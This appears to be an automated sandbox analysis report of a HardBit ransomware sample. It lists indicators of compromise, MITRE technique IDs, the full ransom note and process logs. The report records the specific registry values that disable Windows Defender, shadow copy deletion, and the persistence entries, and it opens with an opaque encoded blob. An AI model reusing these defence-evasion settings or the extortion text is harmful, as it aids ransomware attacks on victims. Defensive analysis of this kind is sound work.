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

URLs

http-equiv="x-ua-compatible"

Extracted

Path

C:\Users\Admin\AppData\Local\Temp\readme-warning.hta

Ransom Note

All your files have been encrypted due to a security problem with your PC. If you want to restore them, please send your ID for us Our contact information is written in file (HOW TO RESTORE YOUR FILES). Please read this file carefully so as not to make a mistake. You have to 48 hours(2 Days) To contact or paying us After that, you have to Pay Double . We need your ID and your ID is written below the help file Please do not touch the Key written under the help file in any way, otherwise the consequences will be with you Introducing TOX messengers You can download and install TOX message from this link https://tox.chat/ Our ID in TOX: 77A904360EA7D74268E7A4F316865F1703D2D7A6AF28C9ECFACED69CD09C8610FF2C728E6A33. We are ready to answer your questions! If you have information about the company and its servers, share with us in TOX and receive a share from us when they pay. Don't worry, your identity will remain hidden. Is there a guarantee for decryption after payment? Before paying you can send us up to for free decryption. The total size of files must be less than 1Mb (non archived), and files should not contain valuable information. (databases,backups, large excel sheets, etc.) Attention! DO NOT trust anyone except the email and the TOX ID that is in the help file, otherwise we will not be responsible for the consequences. DO NOT rename encrypted files. DO NOT try to decrypt or manipulate the files yourself. Do Not contact intermediary companies. They don't do anything special, they just message us and give us money and get the key, but if our price was $50,000, they will charge $70,000 from you. Do not pay any money for the test file. Before manipulating the files, be sure to make a backup of them, otherwise it is your responsibility.

URLs

https://tox.chat/

Signatures

Contains code to disable Windows Defender 1 IoCs

A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

resource	yara_rule
behavioral30/memory/800-1-0x0000000000B80000-0x0000000000BE0000-memory.dmp	disable_win_def

Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047
Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.exe	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe

Executes dropped EXE 2 IoCs

pid	Process
1028	lsm.exe
2716	dllhost.exe

Loads dropped DLL 3 IoCs

pid	Process
800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe
800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe
800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe

Windows security modification 2 TTPs 2 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Features	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0"	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Windows\CurrentVersion\Run\Windows Audio Device Graph Isolation = "C:\\Users\\Admin\\AppData\\Local\\Temp\\dllhost.exe"	dllhost.exe

Sets desktop wallpaper using registry 2 TTPs 3 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\Documents\\hrdb.ico"	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\Pictures\\My Wallpaper.jpg"	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\Desktop\\HARDBIT.jpg"	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe

Launches sc.exe 2 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2624	sc.exe
3260	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Interacts with shadow copies 3 TTPs 2 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
1392	vssadmin.exe
4080	vssadmin.exe

Modifies Internet Explorer settings 1 TTPs 5 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key created	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Modifies registry class 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000_CLASSES\.hardbit2\DefaultIcon	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000_CLASSES\.hardbit2\DefaultIcon\ = "C:\\Users\\Admin\\Documents\\hrdb.ico"	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe
Key created	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000_CLASSES\.hardbit2	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3434294380-2554721341-1919518612-1000_CLASSES\.hardbit2\	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
108	powershell.exe
800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe
800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe
800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe
800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe
800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe
800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe
800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe
800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe
800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe
800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe
800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe
800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe
800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe
800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe
800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe
800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe
800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe
800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe
800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe
800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe
800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe
800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe
800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe
800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe
800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe
800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe
800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe
800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe
800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe
800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe
800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe
800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe
800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe
800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe
800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe
800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe
800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe
800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe
800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe
800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe
800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe
800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe
800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe
800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe
800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe
800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe
800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe
800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe
800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe
800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe
800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe
800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe
800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe
800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe
800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe
800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe
800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe
800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe
800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe
800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe
800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe
800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe
800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	2820	WMIC.exe
Token: SeSecurityPrivilege	2820	WMIC.exe
Token: SeTakeOwnershipPrivilege	2820	WMIC.exe
Token: SeLoadDriverPrivilege	2820	WMIC.exe
Token: SeSystemProfilePrivilege	2820	WMIC.exe
Token: SeSystemtimePrivilege	2820	WMIC.exe
Token: SeProfSingleProcessPrivilege	2820	WMIC.exe
Token: SeIncBasePriorityPrivilege	2820	WMIC.exe
Token: SeCreatePagefilePrivilege	2820	WMIC.exe
Token: SeBackupPrivilege	2820	WMIC.exe
Token: SeRestorePrivilege	2820	WMIC.exe
Token: SeShutdownPrivilege	2820	WMIC.exe
Token: SeDebugPrivilege	2820	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2820	WMIC.exe
Token: SeRemoteShutdownPrivilege	2820	WMIC.exe
Token: SeUndockPrivilege	2820	WMIC.exe
Token: SeManageVolumePrivilege	2820	WMIC.exe
Token: 33	2820	WMIC.exe
Token: 34	2820	WMIC.exe
Token: 35	2820	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2820	WMIC.exe
Token: SeSecurityPrivilege	2820	WMIC.exe
Token: SeTakeOwnershipPrivilege	2820	WMIC.exe
Token: SeLoadDriverPrivilege	2820	WMIC.exe
Token: SeSystemProfilePrivilege	2820	WMIC.exe
Token: SeSystemtimePrivilege	2820	WMIC.exe
Token: SeProfSingleProcessPrivilege	2820	WMIC.exe
Token: SeIncBasePriorityPrivilege	2820	WMIC.exe
Token: SeCreatePagefilePrivilege	2820	WMIC.exe
Token: SeBackupPrivilege	2820	WMIC.exe
Token: SeRestorePrivilege	2820	WMIC.exe
Token: SeShutdownPrivilege	2820	WMIC.exe
Token: SeDebugPrivilege	2820	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2820	WMIC.exe
Token: SeRemoteShutdownPrivilege	2820	WMIC.exe
Token: SeUndockPrivilege	2820	WMIC.exe
Token: SeManageVolumePrivilege	2820	WMIC.exe
Token: 33	2820	WMIC.exe
Token: 34	2820	WMIC.exe
Token: 35	2820	WMIC.exe
Token: SeDebugPrivilege	108	powershell.exe
Token: SeDebugPrivilege	800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe
Token: SeIncreaseQuotaPrivilege	3652	WMIC.exe
Token: SeSecurityPrivilege	3652	WMIC.exe
Token: SeTakeOwnershipPrivilege	3652	WMIC.exe
Token: SeLoadDriverPrivilege	3652	WMIC.exe
Token: SeSystemProfilePrivilege	3652	WMIC.exe
Token: SeSystemtimePrivilege	3652	WMIC.exe
Token: SeProfSingleProcessPrivilege	3652	WMIC.exe
Token: SeIncBasePriorityPrivilege	3652	WMIC.exe
Token: SeCreatePagefilePrivilege	3652	WMIC.exe
Token: SeBackupPrivilege	3652	WMIC.exe
Token: SeRestorePrivilege	3652	WMIC.exe
Token: SeShutdownPrivilege	3652	WMIC.exe
Token: SeDebugPrivilege	3652	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3652	WMIC.exe
Token: SeRemoteShutdownPrivilege	3652	WMIC.exe
Token: SeUndockPrivilege	3652	WMIC.exe
Token: SeManageVolumePrivilege	3652	WMIC.exe
Token: 33	3652	WMIC.exe
Token: 34	3652	WMIC.exe
Token: 35	3652	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3652	WMIC.exe
Token: SeSecurityPrivilege	3652	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 800 wrote to memory of 2604	800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe	32
PID 800 wrote to memory of 2604	800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe	32
PID 800 wrote to memory of 2604	800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe	32
PID 800 wrote to memory of 2604	800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe	32
PID 2604 wrote to memory of 2624	2604	cmd.exe	34
PID 2604 wrote to memory of 2624	2604	cmd.exe	34
PID 2604 wrote to memory of 2624	2604	cmd.exe	34
PID 2604 wrote to memory of 2624	2604	cmd.exe	34
PID 800 wrote to memory of 2656	800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe	35
PID 800 wrote to memory of 2656	800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe	35
PID 800 wrote to memory of 2656	800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe	35
PID 800 wrote to memory of 2656	800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe	35
PID 800 wrote to memory of 1904	800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe	37
PID 800 wrote to memory of 1904	800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe	37
PID 800 wrote to memory of 1904	800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe	37
PID 800 wrote to memory of 1904	800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe	37
PID 1904 wrote to memory of 1392	1904	cmd.exe	39
PID 1904 wrote to memory of 1392	1904	cmd.exe	39
PID 1904 wrote to memory of 1392	1904	cmd.exe	39
PID 1904 wrote to memory of 1392	1904	cmd.exe	39
PID 1904 wrote to memory of 2820	1904	cmd.exe	40
PID 1904 wrote to memory of 2820	1904	cmd.exe	40
PID 1904 wrote to memory of 2820	1904	cmd.exe	40
PID 1904 wrote to memory of 2820	1904	cmd.exe	40
PID 800 wrote to memory of 1652	800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe	42
PID 800 wrote to memory of 1652	800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe	42
PID 800 wrote to memory of 1652	800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe	42
PID 800 wrote to memory of 1652	800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe	42
PID 800 wrote to memory of 108	800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe	45
PID 800 wrote to memory of 108	800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe	45
PID 800 wrote to memory of 108	800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe	45
PID 800 wrote to memory of 108	800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe	45
PID 800 wrote to memory of 844	800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe	47
PID 800 wrote to memory of 844	800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe	47
PID 800 wrote to memory of 844	800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe	47
PID 800 wrote to memory of 844	800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe	47
PID 800 wrote to memory of 1928	800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe	48
PID 800 wrote to memory of 1928	800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe	48
PID 800 wrote to memory of 1928	800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe	48
PID 800 wrote to memory of 1928	800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe	48
PID 800 wrote to memory of 3040	800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe	50
PID 800 wrote to memory of 3040	800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe	50
PID 800 wrote to memory of 3040	800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe	50
PID 800 wrote to memory of 3040	800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe	50
PID 800 wrote to memory of 1236	800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe	52
PID 800 wrote to memory of 1236	800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe	52
PID 800 wrote to memory of 1236	800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe	52
PID 800 wrote to memory of 1236	800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe	52
PID 800 wrote to memory of 3056	800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe	54
PID 800 wrote to memory of 3056	800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe	54
PID 800 wrote to memory of 3056	800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe	54
PID 800 wrote to memory of 3056	800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe	54
PID 800 wrote to memory of 2328	800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe	55
PID 800 wrote to memory of 2328	800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe	55
PID 800 wrote to memory of 2328	800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe	55
PID 800 wrote to memory of 2328	800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe	55
PID 800 wrote to memory of 2972	800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe	57
PID 800 wrote to memory of 2972	800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe	57
PID 800 wrote to memory of 2972	800	8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe	57
